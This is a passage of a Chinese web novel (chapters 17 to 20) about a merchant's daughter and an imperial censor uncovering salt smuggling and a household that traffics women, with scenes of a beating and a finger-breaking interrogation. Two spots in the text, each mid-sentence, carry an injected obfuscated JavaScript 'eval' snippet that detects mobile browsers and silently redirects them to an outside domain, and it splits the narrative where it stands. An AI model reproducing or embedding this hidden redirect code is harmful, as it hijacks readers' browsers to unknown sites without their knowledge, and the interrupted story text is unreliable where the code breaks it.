了喧喧闹闹的地方,这一路上清风拂面,倒是清爽了不少。苏玉淑的心情也随之大好,她甚至不由自主地蹦跳起来,腰间的禁步甩得是叮当作响。 “小姐,你怎么这么高兴呀?” “大事将成,自然是高兴的。”苏玉淑学着母亲的样子点了点她的脑门,“棋盘已经摆好了,就看棋子儿的了。今天的事且完不了呢,你等着瞧吧。” 苏玉淑躲得清净,可云姑娘这边就不同了。她们姐妹二人被众人簇拥在庭院中心,有的请教乐器的技法,有的求着二人赴宴演奏,有的不怀好意地上下打量,总之是男男女女七嘴八舌的围得个水泄不通。 “霞姑娘,不知您这轮指技法是如何做到如此炉火纯青的呀?” “您过奖了,只需要多加练习即可。” 提问的是薛员外家的公子,他一脸色眯眯地凑到更好欺负一点儿的霞姑娘身边,竟握起了她的手: “哎呀这小手,若是时日久了弹出厚厚的老茧可就难看了,不如到我府上……我一定好好疼疼你呀!” 霞姑娘慌忙地抽了手,她怯生生地躲到了姐姐身后,一张脸就算在夜幕里也能看出红来。云姑娘将她挡住,她一下子沉下脸来,语气也重了几分: “薛少爷,还请您自重。这里不是青莲院,是苏老爷的宴席,还望您谨言慎行。” “哟,你还知道你们是青莲院出来的呢!”薛少爷的脸在众人的啧啧声中青一阵白一阵,他索性指着两人的鼻子痛骂道,“两个小娼妓,还真当自己是什么金枝玉叶了,别人摸得本少爷就摸不得?不知道爬了几次男人的床了,在这儿演什么闺阁女,真是不要脸,摸了你们都是脏了本少爷的手!” 他这副嘴脸看得云姑娘心里连连作呕。且不说她们姐妹二人是被迫入了这一行,正常人谁会把别人的痛处放在嘴上讲?更何况这是在苏家,他一个外人怎么能在这种场合大放厥词如此粗鄙不堪!云姑娘还在为苏家的脸面担心,可霞姑娘的眼泪已经落了下来。她生来就是个软性子,跟随姐姐颠沛流离却也被保护得很好,她只是靠月琴卖艺维生还从未被男人碰过。想来也是这个原因,那杜家才没有选中更美貌但是流落风尘的姐姐,而是她这个好拿捏的软柿子。如今大庭广众之下被这个不知道哪儿来的小少爷指着鼻子一顿臭骂,她更是又羞又气,只觉得人们看她的视线如同利刃一般切割着她的肌肤,是如此的剥皮削骨。 “你的手不要可以剁了。” 一道冷冷的女声传来,众人的视线都被吸引了过去。一个侍女缓步走来,她的脸上没什么多余的表情,但只一个眼神便让那薛少爷心声寒意。她向众人行了礼,径直走到霞姑娘面前冷冷道: “霞儿姑娘,按照杜老爷的吩咐,我得带您回去准备下一场宴席了。还请您和我走吧。” 霞姑娘拉住姐姐的衣角,面露难色:“姐姐……我……” “哎哎哎,我跟俩姑娘话还没说完呢!你们杜家好大的排场,也敢从苏家的宴席上拉人?” 侍女瞥了他一眼,声音宛若寒霜:“这位少爷,我杜家有一份好礼相送,还请您和我这边来。” 薛少爷满腹狐疑,他平日里除了在杜家的赌场里赌上几次,倒是和他家没什么交情。不过这小奴婢都这么说了,他也不好在众人面前不去。他索性跟在侍女的后面,随她到了一处背静地才大咧咧地开口: “什么礼物啊?” “就是这能让您终生难忘的大礼。” 约莫只有一壶茶的时间,这侍女又回到了众人面前。她再度行了礼,声音却比之前轻快了些:“薛少爷说要去杜家谢礼,先离开了。霞姑娘,请速速随我去吧,杜老爷那里可是一刻都耽搁不得呢。” 霞姑娘擦了擦眼角的泪,她刚刚从一场凌辱中缓过心神,却又要投入另一场更大的悲剧之中。可她不能不去,她不能把她唯这世界上唯一的亲人也拖下水,让她本就痛苦的生活再雪上加霜。她下定了决心拜别了姐姐,抱起自己的月琴转身对着这位陌生的侍女说道: “走吧。” 她刚走出一步,身子忽然一顿。霞姑娘低头看了看自己被扯住的袖子,她顺着这只手向上看去,云姑娘的表情是那样坚定又勇敢—— “我和你一起去。” 18. 第十八章 “你们杜家今天必须给我个说法!青天白日朗朗乾坤,你们有几个钱了不起吗!我们青莲院也不是好欺负的!怎么,你们说把人弄走就弄走了,现在说家里没有,鬼信!告诉你们,要是今天不把云姑娘霞姑娘给我交出来,老娘我还就不走了!” 青莲院的几个虔婆带着一众小厮堵在杜家正门口,吵吵嚷嚷的不肯罢休。自打那天杜家的一个下人把二人从苏家的宴席上叫走,她们已经三天没见到人了。这青莲院一下子没了两个头牌生意是一落千丈,这认谁都是不肯的。况且那杜家只付了霞姑娘一人的定钱,这云姑娘他们又没看上,哪有还能一并抢去的道理! “说了多少次了,她们真的不在我们杜家!你们,你们走不走?不走我就报官了!” 杜家的小厮们死死关着大门,手里还拿着长长的棍子,虽没有什么底气却也比比划划地唬人。 “报官!报官!你让他报!”人群里突然冲出一个声音,正是那天被叫走的薛少爷,“我要报官!我要告你们杜家!你们欺人太甚!你们,你们居然为了一个姘头就打死我?这师城也不是你杜家的,我倒要看看你们敢不敢报官!报啊!” 那天直到苏家送客之时,薛员外才发现自己的儿子不知去向。苏家上下帮着一顿好找,最后才在僻静院子里的一处假山后面发现了他,那时薛少爷的一只手已被从手腕折断,另一只手的五根手指则根根拧反了一圈,他的脸也被揍得不成样子,整个人昏倒在地上和一团烂肉一样。苏老爷被这一幕吓得不轻,他不敢相信自己的宴席上怎么会出了这样的事情。几人叫了宾客打听之后,苏、薛二位老人才得知是那杜家的人动的手,竟都气得胸口发闷,倒在一病不起。 围在杜家大门口的人越来越多,大家交头接耳议论纷纷,谁都没想到这杜家虽然素来铺张奢靡,倒还敢这样跋扈,居然敢直接抢人,把员外的儿子打成这个样子。杜家小厮眼看着群情激奋实在招架不住,便偷偷派了人去请杜老爷看看他有何办法。 “我能有什么法子!”杜老爷看着来报的小厮气儿就不打一处来,“去去去,别烦我,要钱就给钱要人我又拿不出来,要是软的不吃就来硬的,把马三那群人找来,都打一顿就是了!滚!” 杜老爷真是万万没想到,自己还没见到人呢就惹出这么大一场风波,这青莲院的小娘们儿也真是晦气。他心中烦闷,平日里伺候在一旁的杜蕊华也不在身边,他索性抽起了烟袋子,关了门去眼不见心不烦。 可杜蕊琴这边就没那么舒坦了。她的母亲听说这件事后急火攻心,差点一口气就没上来,眼下也不能再叨扰她老人家。整个杜家上下现在只能靠她撑着,可她对于这件事是一概不知,什么女人,什么薛家,她听都没听说过。杜蕊琴气得团团转,她不住地搅着手中的帕子,双眼急得通红—— 这是把杜家架在火上烤啊。 可她家的顶梁柱现在到底在干嘛呢? 杜蕊琴现下没心思想这些,她也懒得想。这男人一贯是靠不住的,非但对家里生意帮不上一点儿忙还惹下这般祸事。如今母亲病倒,能把杜家从众人的唾沫星子里救出来的只有她自己。 “祥云。” “大小姐,奴婢在。” 杜蕊琴揉了揉眉头:“你去拿上两百两银票,一百两给青莲院,一百两给薛家。告诉她们暂且宽宥几天,就说给我们几天时间来查验真相,若真是杜家的人做下的事我们一并认赔,绝不推诿。” “叫门房备车,我要去趟苏家。” 杜家那边乱得和一锅粥一样,苏玉淑这边倒是乐得自在。她半靠在床榻上,一边晃悠着腿一边看着书,嘴里还吃着苏玉鸿送来的新鲜杨梅。云姑娘和霞姑娘正坐在一旁,手里做着针线活,和绿萝石竹两人有一搭没一搭的聊着些什么,这一屋子美玉香软,她苏玉淑看着都觉得赏心悦目,真是好不快活。 “朝云姑娘,我的安排你可满意?”苏玉淑囫囵吐着核儿,倒好像真是流连勾栏瓦舍的公子哥似的做派。 “苏小姐,云儿自然是感激您的。这几天多亏了您,我和霞儿才能有容身之地。” 苏玉淑直起身子把书一拍:“你在我家,就叫宁朝云,宁朝霞。这里没什么云儿霞儿的,再这么自轻自贱我就给你扔回去。” 宁朝霞赶忙赔罪:“苏小姐,我姐姐不是故意的,您别生气。” 绿萝整理着手中丝线,满面笑容:“我家小姐呀,是出了名的刀子嘴豆腐心。既然好不容易出了虎狼窝,可就要与以前一刀两断了,我家小姐是提醒你们呢。” 宁朝云放下手中的活计深深一拜:“朝云感激苏小姐大恩大德!朝云无以为报,想来苏小姐自是看不上银钱这等俗物……不知要如何报答苏小姐恩情呢?” “诶,你急什么。这事怕是没完呢。你二人现在还记在青莲院名下,想要出城怕是难。而且杜家那边怕是也不能善罢甘休,待事情彻底解决再说这些虚的不迟。” “大小姐,院门来报,杜家大小姐求见。” “你们瞧,我就说吧。”苏玉淑一副了然于胸的样子,“石竹你陪我去,你和他们说让杜小姐在流云亭等我,我马上到。” 宁朝云一脸担忧:“苏小姐,会不会……” “无妨。她不会为难我,和买你妹妹的人大抵也不是一伙的。绿萝就在这里陪你们,放心。更何况……” “什么?” 苏玉淑偏过头去看了看房间里新隔断出来的一个空间,即使隔着屏风什么都看不到,她还是笑了笑:“没什么。有她在,你们放心便是。” 苏家杜家已做了战场,林长亭那边自然是没有闲着。 他拿到卜微先生的消息后,当即派了身边所有的探子出去。除了鸩被苏玉淑要走留在身边,剩下的人倾巢出动只为找寻那蛇形巨石。正如卜微先生所说,在师城以东二十里的西坡山脚下他们找到了这处标志,可再向四周探寻却并未找到类似车辙马蹄一类的痕迹。 不得已下,林长亭只能本人亲去探寻,他本是不放心苏玉淑一个人应付师城里的事的,可他的脑海里却时不时地回想起府宴结束那晚苏玉淑的模样—— 那晚她就这么站在院子里那棵熟悉的树下等着他。 二人虽然从青莲院离开后便有些龃龉,可鉴于共同的敌人和利益,他们还是选择了联手。苏玉淑早已和他商量好,由苏家出面将云霞二人先从青莲院骗出来,再由鸩装作杜家侍女从众人面前将她们带走。这样一来可以解了眼下霞姑娘的燃眉之急,又可以将那杜家兴风作浪之人揪出来顺便拉拢杜家大小姐,说不准还能诈出与盐场的关系,可谓是一石三鸟之计。 事情进行得十分顺利,鸩还顺带手解决了一个登徒子。虽然在他们的计划之外,但也加强了众人对杜家的印象。苏玉淑早早地回到自己的院子撇清了关系,直到林长亭到场她的心才终于落了地。 “事情进展得如何?”苏玉淑明知故问道。 自打那一夜两人不欢而散,她就对这个笑面虎没什么好气。虽然她帮助二位姑娘的动机也并非十分纯粹,可相比起林长亭这样冷血的人她还是强太多了。 林长亭自始至终也未曾解释过半句,他只是从背后掏出一个油纸包递到她手里,微微笑着: “如你所料。两位姑娘已经被鸩带走,一会儿便会从你院子的侧门进来。” “那就好。接下来安生几天,后面怕是还有的忙呢。”苏玉淑有些犹豫地接过他递来的东西,“这是什么?” “没什么,一会儿你回去再打开吧。” 苏玉淑没当回事儿地往桌子上一放:“你接下来打算怎么做?” 林长亭瞥了一眼孤零零地被丢在一旁的油纸包,苦笑一下:“我的人已经去查了盐场那一路线索,想来马上便有消息。” “那很好。” “是。” 两人默默无言,只有晚风裹挟着远处的喧闹萦绕在周围。如果说苏玉淑之前还对林长亭有那么一些期许和欣赏,她现在就是对这个男人只有单纯的利用。她一直以为林长亭是个面冷心热之人,虽然嘴上说着要送女囚,可转眼就拍派了鸩将那肮脏之地一窝端了。所以尽管被伤到了手她心中也并未真正怨恨,一点皮外伤换两个人两心相交倒是不亏。可就在她隐隐含了些心思的时候,他居然对朝云姑娘如此冷血嘲讽,那副高高在上草菅人命的嘴脸真是和那些贪官污吏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457801|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么两样。 自己原不该对这些人有什么幻想的。 苏玉淑甩了甩衣袖:“林大人,若是您没有别的事情我就回去休息了。” “你等等。” 林长亭叫住了她:“我有话对你说。” “林大人有什么尽管吩咐就是了,小女子一定照办。” “那日我并非是故意不管。”他无视了苏玉淑话里的阴阳怪气,一双眸子在月光下显得格外认真,“你要知道我来到师城是为了什么。你苏家出来的私盐已经不只是在这片地方,就连远在京城的我都被派了过来,难道你还不明白这件事的严重性吗?苏玉淑你就这么鼠目寸光,这么蠢吗!” 林长亭少有的动了气,他看了看面前有些震惊的少女继续说道:“你知不知道这师城的水远比你想得更深?你以为这盐是能运就运的出去的?我初来到此地就接连遭遇刺杀,是叶英他们拼死保护之下才没有让他们得手,若是只是你们几家商贾的小打小闹,那私盐能贩得出去?你就没有想过上面的那把伞到底是握在谁的手里吗!苏玉淑!” 苏玉淑哑然。 林长亭说的对,这些她从未想过。她知道这里的官官相护,她知道这里的头目尸位素餐,但是她没想过,林长亭堂堂一个御史到这里还会被人暗算到这等地步。 她们苏家究竟是卷入了一个多么大的漩涡里,这到底是什么样的一个局? “林大人,我……” “你不知道那云姑娘是好是坏,是否真心相求,你居然就敢应了下来。你只看到权衡苏家杜家,你却没看到这背后可能搅浑的水。若她是个奸细,你要如何防着?若她是个刺客,你希望躺在这里的是你还是我?” “我……要死的话就死我好了。” “你话说得轻巧。”林长亭定了定心神,他放开了暗自握住的拳头,轻轻抬起苏玉淑的手看了看伤口,“你要知道,死人是不能为自己辩驳的。如果你死了,你说苏家会不会大动干戈?到时候一场腥风血雨,你以为你家这点事还是我能按得下来吗?到时候所有的祸事都会被扣在苏家头上,难道一家子黄泉地府相见你就当真高兴了吗!还有,若是真的要死,自然也是我死。” “我不要……” “傻丫头,这是你要不要的事儿吗?我的身份……死了一了百了,这群人又怎么会看着给他们找麻烦的人活在世上呢。” 林长亭的忽然间气儿就消了,他放下苏玉淑的手:“伤口恢复得不错。” 苏玉淑看着雪白的纱布,突然有些想哭。 他说的这些话,她从未想过。她一直自诩胸怀大志深谋远虑,可如今局势之下居然抛下最重要的事情不做而是选择了一时意气,把林长亭和全家都置于火架之上,实在是愚蠢至极。 “对不起。” 林长亭叹了口气:“她们两个人,我已经派人查过了。好在确实是说了实话,她们父亲的罪也实在是莫须有。她们的确是可怜人,你不用和我说对不起。” “要说。我一定要说。”苏玉淑倔强的样子和之前真是别无二致,“这次是我错了。我考虑不周,是我一意孤行了。” “既然是我到了师城,又是我选择了你做我的战友,我希望你以后能信任我。你我都是执剑人,自然是生死相依同进退。如此,你还要叫我林大人吗?”林长亭想伸出手摸摸她的头,可手伸到一半又放了下来,“夜深了,外面冷。回去吧。” 他笑了笑,抬了抬下巴示意苏玉淑拿走那被丢在一旁的油纸包。苏玉淑转头去看,再回过身来人已经不见了。她捏起麻线,缓缓打开了那包沉甸甸的东西—— 几瓶金疮药。还有……满满一包的糖渍梅子。 “林长亭……” 苏玉淑把这些东西抱进怀里,轻轻笑了。 “林大人,我一定会成为你手里那把最锋利的剑。” “少爷,您在想什么?”叶荣见他在马上愣神良久,忍不住开口打断。 林长亭回过神来,朝叶荣洒脱一笑: “没什么。我只是想,我要做一面什么样的盾,才能保护我想保护的人。” 一队人快马而去,扬起一路尘沙。 19. 第十九章 “少爷,我们带队在这里细细搜查过,可是并未见到有商队或者车马痕迹,还请少爷恕罪。” “他们既然有这个狗胆,想来是周密的。无妨,带我看看。” 林长亭并未多说些什么,他一下马就看到了胡子拉碴的正一,眼睛都熬得通红。一队人大夏天的就这么扎在山里,这边谷地又干又热也是辛苦得很。 “少爷您看,这便是那道士所说的石头。” 林长亭绕着这块嶙峋的巨石看了看,果然盘桓如巨蟒一般,横卧在山间十分显眼。可这石头虽然形状别致,却并无其他特别之处。 “少爷您看这边。”正一在前引路,几人穿过不算茂盛的林间,一片白花花的空地赫然出现,足足有几亩地那么大,“这里的泥土又咸又硬,想来是堆过盐的。” 林长亭蹲下身子查看,他伸出手指戳了戳地面,的确硬得有些蹊跷。这里的几亩地上面全部结了一层白花花的沫子,虽然经过几天雨水冲刷这些沫子混着泥土沙尘又颜色发黄,没有盐粒那般细腻雪白,可还是不难看出堆盐的痕迹。 可是这么大一批盐,要怎么才能运出这个山谷呢?虽然他们人手不多,可要师城大大小小的车行马队他们都走访留意过,并没有能运送这样大批量的盐的能人,几处要紧的往京城和北方去的要道也留了探子,怎么还能从他们眼皮子底下把盐运走呢? 林长亭绕着这片地的周围看了看,他忽然拔出刀来狠狠地插进土里。坚硬的触感丝毫不输给石头,他虽未用尽全力,可以林长亭的功夫来说,这一刀只插进去几寸是不可能的。这里的土壤已经板结得十分结实,想来必定是经年累月的铺在上面才会造成这样的后果。 盐会下渗的这样厉害吗? 他心中不解,当即喊了几个人:“把这里给我挖开,能挖多深挖多深。” “是,少爷。” 几个人取了铁锨等工具,对着林长亭匕首插下去的位置就挖了起来。尽管师城气候湿润,可是这山谷里不知怎的,干的很。就算是下了几天的雨,可地上还是又干又硬十分难挖。几个男人喘着粗气足足挖了有一刻钟,也才挖下去不到两尺深,而且下面的土和上面没什么两样,也是凝着一层白花花的土沫和盐沫,有的还皲裂成龟纹状,看得人浑身不自在。 “奇怪……按理说这么旱的地方,盐水是不会渗得这样厉害的。”正一抓了抓自己的后脑勺,几天没洗澡的他头发已是油得很。他大咧咧地往自己的屁股上抹了一把,自顾自道: “这地方也是奇怪,说没有痕迹吧,谁都知道在这里放过盐。可是又没有人又没有印子的,难不成是从天上飞走的不成。” “除了这片盐地,这附近还有什么奇怪的吗?”林长亭翻身上马,示意其他人也跟上。他要绕着这片谷地好好看一看,无论如何他都要找到这关窍的所在。 “回少爷,我们别的倒是每太看出来,这周遭的石壁坚硬陡峭,难以留下痕迹。想来这普通的盐贩子也没有那么好的功夫能从石头上飞檐走壁吧。” 林长亭瞥了正一一眼:“你还觉得我们面对的是普通的盐贩子吗?” 他的语气冷冷的,竟然在如此干热的环境下把正一听出了一后背的冷汗。他识相地拍马上前带路,在这片谷地的两边,尤其是东侧是一处靠海的山地,虽说不是太高但也足以抵挡海风的侵袭。林长亭抬着头仔细看着,这一片的石头在明晃晃的日光之下并没有什么特殊,无非就是一些乱石和一些纹路,和别的地方见到的山根本没区别。他百思不得其解,难道还真和正一说的一样,是从天上飞走的不成? 日光逐渐毒辣起来,可一行人还是一无所获。林长亭的脸上已经泛起了一层细密的汗珠,就算他们是铁打的人在这样的暴晒下也是难捱的。他挥了挥手,让他们去阴凉地儿休息一会儿,自己则翻身下马,爬上那乱石山上四下看看。 这山倒是秃得很,岩壁光滑陡峭,不像他曾经去过的山还有着绿植生机。这里只有一片光秃秃的竹子生的顽强,从石头缝里斜歪歪地支棱出来,长得倒是粗壮的很。兴许是有人来此伐过竹子,其中有几棵只剩半截身子埋在土里。林长亭捡起来几根断竹仔细打量,这些竹子的切口十分光滑,可不像平常人家砍伐的痕迹。竹子的一段切成楔形,有的还粘着些泥土,这些泥土干巴松散,和谷底的土是同一种;而竹子的另一端却被削成了平滑的圆弧形状,看起来如同劈成两半的碗,这种切口可不是能随随便便就砍得出来的。 这竹子不对劲。 林长亭前后看了看,这里这样形状的竹子足足有个十来根,它们长短不一地横在石头缝儿里,乍一看上去确实没什么特别的。他招了招手,手下们即刻赶到将这些竹子搬回到地上,仔细研究起来。 “这也看不出是做什么的……”叶英拎起一根仔细查看,“少爷,我见过老家的竹篾匠砍竹子,这一看就是精心削的,而且这竹子的边儿看上去又黄又黑,应该是用过一段时间了。” “正一,你在看什么?” “少爷,您看这个。”正一把两根竹子在地上摆好,“左边这根比较短,中间没有洞,两端都是平的。右边这根一边儿是圆弧的比较长,您看这边有两个孔洞。” 其他人见状纷纷扒拉起其他的竹子将它们分成两部分,果然如正一所说,圆弧形状的带孔,平滑的和普通的竹节无异。 “这是做什么用的呢……”几人反复研究着,可是依旧没什么头绪。林长亭折了几根树杈大概放着竹子的样子做了个缩小版,无论如何在这里也耽误不起时间,与其大家干瞪眼还不如回去找个靠谱的工匠问问。 “你们这一队人先回去,换一波人来务必把这里给我盯死。” 林长亭在这里也耽搁了大半日,眼见着晌午后的太阳更毒辣了起来。眼下烦心于未解之谜之余,不知怎的又想起了这几天一直待在家里的那个小丫头片子。还好这件事她还不知道,不然一定又要吵着跟来,这么热的天儿,只怕是手上的伤口碰了灰尘汗水要化脓了。 可苏玉淑此时此刻却也没有乐得自在。 杜蕊琴来到家里兴师问罪,真是好大的阵仗。她在来的路上便向下人打听了事情的全貌,大概就已经猜到这背后定然是苏家在捣鬼,不过苏老爷素日里与他家并无干戈,想来也只能是苏玉淑这丫头想的办法。她下了马车从正门一路怒冲冲地往里闯,甚至半路上还惊动了苏家少爷,杜蕊琴也只是横眉冷对地对他草草行礼就急着去见苏玉淑。 “你到底什么意思!”见到人的那一刻,她的怒气犹如喷发的火焰似的一股脑地往脑袋顶上冲,“我拿出十足的诚意来对你,你就这么害我杜家!” 苏玉淑倒是不急不躁:“蕊琴姐姐,你先别急,听我说。” “别叫我姐姐,我可没你这么个妹妹。算计来算计去,把我、把我们杜家都算计进来!真是一副好心肠啊?玉淑妹妹!” 苏玉淑虽然心下觉得委屈,可想起母亲的教导,还是端出一副温和的模样:“姐姐可还记得那日和我说的事?” 杜蕊琴气哄哄地坐下,没有搭理她。 “蕊琴姐姐,你和我说家中基业不保,我苏家眼下和你们是一条绳上的蚂蚱,妹妹就算再蠢也不会做出害你之事。只是你要知道,祸起萧墙之事并不少见,而你杜家难道不是正当此时吗?” 杜蕊琴听到这话,态度略略有了些缓和:“你的意思是?” “千防万防,家贼难防。” “妹妹此言何意呢?” 二人坐着的流云亭在苏家宅子里小湖泊的正中心,湖风凉爽风景奇佳。苏玉淑也不打算故作深沉,她只是问了个简单的问题: “蕊琴姐姐,你就没想过你家的一切并不是杜老爷所为吗?” 杜蕊华的表情有些惊诧:“不可能的,我的人也偷偷地查问过,在外面打点纳妾事宜的是我父亲身边的老妈子,发卖人的是我父亲身边的打手。只是……” “只是什么?” 杜蕊琴摇摇头:“不怕你笑话,我早已派人盯死这二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457802|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,还将那婆子找了个由头打了一顿关在家里,只是不知为何这人还是照常能送进来,想来是我父亲的手下犯下的事。我一贯是听了母亲的话深居浅出,哪里能周全得到呢。” “姐姐此言差矣。”苏玉淑握住了她的手,“姐姐自小深受宠爱保护,能下定决心将家里的事告知我一个外人已经是莫大的勇气了,又怎么能苛责自己手段不够多,查得不够深呢?蕊琴姐姐一向是为家中着想,这一点我都自愧不如。说起来我才是怕姐姐笑话,当初家里说要送我去议亲的时候,我还想着装成男子一跑了之呢!” 听了这话,杜蕊琴才略展眉头:“好了,我们不说这个了。妹妹你这次设下这个局,可有什么发现?” “姐姐不是也早就怀疑过她吗?” 看着苏玉淑深不可测的目光,杜蕊琴突然就在这六月的天里打了个冷颤。 难道真的是她?怎么会是她? “不可能的。”杜蕊琴坚定地摇摇头,像是说服苏玉淑,更像是努力说服自己,“她自小娇弱,虽然常在父亲面前矫揉造作争宠卖乖,可是这样的事凭她又怎么能插得上手呢?” “我在把二位姑娘扣下之后细细查问过了,她们说青莲院都是通过一个姓王的虔婆联系,经常会把一些豪强大户看上的女子送到家中做妾。那日青莲院寻不到人,这王虔婆自然是要去杜家要个说法的。我的人一路跟着才发现她从后门进了你家院子,被请到杜蕊华的院子当中吃了茶。” “然后呢?” “杜蕊华交不出人来只能派人去查。这人……已经被我抓了。要问些什么,怎么处置,全看姐姐您的心思。” “这人现在在哪里?” “在我院子最僻静的柴房里。时不我待,姐姐赶紧和我去吧。” 苏玉鸿在远处看着二人行色匆匆,默默站住了身。他只和杜蕊琴有一面之缘,见她怒气冲冲实在是担心自己妹妹吃了亏。现下两人交谈甚欢,只要无事便好。 “大少爷,这食盒……”他身后的小厮有些为难,“咱们还送吗?” “不用了,你等下送给绿萝就好,看起来她们还有事情要做。玉淑没事我就放心了,等下你收拾了再去问问王掌柜过几天是否得空,我要亲自去把给母亲和妹妹打的首饰取回来,她们一定高兴。” 苏玉淑引着杜蕊琴一路回了自己的地盘,这样一来两人算是正式做了一边的人了。她让石竹把好了门,连只苍蝇都不许飞进来。杜蕊琴直到走得腿都有些酸了才看到柴房的门,这里看上去十分陈旧,门口的灰尘踩出了新的脚印,在日光下扬阵阵迷蒙。 “蕊琴姐姐,随我进去吧。” “这……这是?” 里面这个……这个人,或许是人吧。这一坨东西被麻绳五花大绑成奇怪的形状,要是不说这是人,根本看不出到底是个什么模样来。苏玉淑有些不好意思地笑笑: “没事没事,我怕他跑了,就绑得丑了些。咱也没干过这种事,绳子自然是越粗越重越好了。” 她走上前去朝着被捆得跟个蚕蛹似的东西踢了两脚:“出声儿!那边儿是脑袋啊?我这外面也看不出来……” “呜……呜呜呜!” “哦哦,这边。”苏玉淑又不好意思地笑了笑,她把这个蚕蛹翻了个边儿,拿着林长亭送她的匕首小心翼翼地割了起来,“你别动啊,我手底下没准头的,这可是喝过主人的血的魔刀,这要是一个不留神……” 杜蕊琴哑然。她皱着眉头缩着下巴看着苏玉淑,浑身都泛上来一股疼劲儿,好像自己才是那个被绑着的倒霉蛋。这动刀子带吓唬的,哪里是大家闺秀的所作所为啊,分明是个土匪头头嘛。 “得嘞!” 苏玉淑满意地拍拍手,她终于站起身子来,还顺手从那人嘴里扯下一块抹布: “姐姐久等了,你看看可认得这人。” 杜蕊琴定了定心神,走上前去。阳光顺着破败的窗棂射进来,刚好映在那人脸上—— “是你?!” 20. 第二十章 “怎么会是你?”杜蕊琴再次不可置信地发问,“你……你不是之前在我母亲身边的?” 苏玉淑满脸疑惑:“姐姐和他很熟?” “是我母亲娘家带来的人。自从母亲嫁到杜家后,这人手脚便不干净。起先母亲念着他伺候一场的份儿上未曾从重发落,谁知竟然变本加厉起来。前些年他居然打起了母亲嫁妆的注意,偷些金银也就罢了,偏偏是外公送给母亲的那件传家漆器。母亲一生气发落了他,赶到了外面做粗活儿,没想到竟被杜蕊华给弄了去。她还真是一开始就没存好心……” “大小姐……”躺在地上这人只觉得眼冒金星口舌冒火,自打被抓到这儿来他连一口水都没要到,活生生在这屋子里被关得不知时日。如今看到自家旧主自然是激动的,尽管他浑身还缠满了麻绳,却依旧奋力向杜蕊琴的方向蠕动着,希望她能大发慈悲救自己一条小命。 “水……大小姐……” 杜蕊华嫌弃地往后退了退,苏玉淑从旁边拎起来一个不知道放了多久的壶,对着这人的嘴就灌了下去。久旱逢甘霖他也顾不得许多,尽管差点被呛得发抖却也绝不撒开。 “喝两口得了,还真当本小姐伺候你呢。”苏玉淑把壶往旁边一扔,瓷片应声炸开又吓得这人一个激灵,“兔崽子,杜大小姐一会儿问你什么你最好老实说,不然……我就用这瓷片一点点片开你的皮,削了你的肉!钝刀子剌人最疼,你可想清楚了。” 杜蕊琴坐在一旁的椅子上,这屋子虽破旧,可桌椅却被人擦拭得亮堂堂的。她沉下性子,冷冷地开口: “我记得你叫福临。” “是,是,小的是福临。” “先说说你都为杜蕊华做了些什么吧。”杜蕊华身子端正,阳光从她背后照射进来,她的轮廓被镶嵌上金色的镀层,犹如审判正义的天神一般。 “小的……小的不曾为五小姐……” 杜蕊琴笑得甜腻:“玉淑妹妹,可否帮姐姐一个忙?” “当然,为姐姐分忧是我的福气。” “做姐姐的不擅长武艺,就麻烦妹妹代劳了。先帮我折他三根手指吧。” 嘎—— “啊!!!” 凄厉的惨叫顿时充满了房间,苏玉淑有些不满地揉了揉耳朵:“这才一根,你别叫这么大声,吵到我了。” “我说!我说!大小姐!” 嘎—— “啊啊啊!!!” 福临的叫声更尖锐了些,可气力却是不如第一下。他浑身抖得和筛子一样,双眼已经被渗出的汗迷上,喉咙里还不住地发出些破碎的哀嚎。他右手的两根手指已经被折了个个儿,和那晚薛少爷的伤一模一样。 “别急,还有一根。”苏玉淑的声音温柔得如同三月的小溪,“别怕,我新学的,我撅的很快。” 嘎—— “啊啊!!” 福临的叫声已经变成了混合着哭泣的悲鸣,他的眼泪鼻涕混着口水染湿了地面,刚燃起的一丝侥幸已经被苏玉淑彻底折断。 “蕊琴姐姐说了三根,便是三根。”苏玉淑的眼神里满是嫌恶,“你啊……真脏。” “我说……我说……” 福临挣扎着抬起头来,从他受刑开始,杜蕊琴就没有再开口。她现在就正当当地坐在他的面前,把阳光遮去一大半,只留下一地阴影给他。 “是五小姐……五小姐给了我钱,让我和青莲院的王婆子牵上线往家里送人……五小姐说了,是老爷让这么做的,她给了我许多银钱,告诉我青莲院也好别的窑子也罢,只要是有好的都给老爷留意着,她过了眼的就弄到家里来给老爷享用……” “然后呢?”杜蕊琴的手握紧了扶手,她的骨节按得发白,指甲几乎嵌进木头里,“然后这些人就从杜家发卖了?” “是……也是五小姐,她数年前就打通了这条路子,小的只知道老爷不要了的女人就会交给老爷身边的马二马三两兄弟,再外面的事小的就不知道了……” 福临蜷缩起身体,试图控制住自己颤抖的身体,可牙齿上下碰撞的声音还是出卖了他的胆怯。 杜蕊琴还是有些不信:“她是如何能和外面勾搭上的?” “大小姐,大小姐这个我真不知道啊!她,她是一年之前才让我做这事的,再之前的事情我实在是不知道啊大小姐!” “蕊琴姐姐,还要不要再折两根啊?”苏玉淑大咧咧地依着一边的柱子,“我看这小子还有话没吐干净呢。” “别别别,小的真的没有知道的了!两位小姐,我真的都说了!”福临一双腿乱蹬着可仍旧逃不脱层层的捆绑,活像一只被卸了腿儿的虫子,突然间他想到了什么似的大吼道: “大小姐!大小姐我想起来一件事!” “哦?说来听听。” 